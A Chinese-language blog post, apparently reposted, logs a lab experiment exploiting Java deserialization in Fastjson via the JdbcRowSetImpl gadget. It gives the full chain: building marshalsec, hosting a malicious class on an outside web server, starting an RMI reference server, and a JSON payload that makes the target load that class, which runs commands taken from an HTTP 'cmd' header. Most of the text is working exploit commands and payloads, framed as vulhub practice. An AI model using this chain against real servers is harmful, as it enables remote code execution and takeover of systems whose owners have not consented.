java反序列化的恶意类回显实验
2021-04-22 00:28
标签:exec 记录 runtime 文件 loading 序列 地址 目标 server //希望自己能持续的坚持学java 因为看书学java有点枯燥,虽然我没搞清楚状况,但是还是希望做个实验。以下是实验记录。 vulhub 里的readme里的payload类似以下 你需要做的是, 下载编译运行一个marshalsec 下载编译准备好fnmds 大佬在博文中提到的写的这个类 玩! 你需要做的仅仅是一个web服务保证目标机器能访问到你的class文件 这样你就有了一个类似 然后根据这个地址启动一个rmi 这样你就得到了一个 所以选择了JdbcRowSetImpl + rmi 的你的payload就是 ? 你想执行的命令在header里,所以记得加上 java反序列化的恶意类回显实验 标签:exec 记录 runtime 文件 loading 序列 地址 目标 server 原文地址:https://www.cnblogs.com/ax-y/p/13278647.html前提条件
基于请求/响应对象搜索的Java中间件通用回显方法(针对HTTP)
Java中间件通用回显方法的问题及处理(7.7更新)开始实验
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://...",
"autoCommit":true
}
}
git clone .... && mvn clean package -DskipTests
wget ...DFS.java && javac -encoding UTF-8 DFS.java
python -m http.server 80
http://nogy.cc/DFS.class
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://nogy.cc/#DFS" 9999
rmi://nogy.cc:9999/DFS
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://nogy.cc:9999/DFS",
"autoCommit":true
}
}
Runtime.getRuntime().exec(r.getHeader("cmd")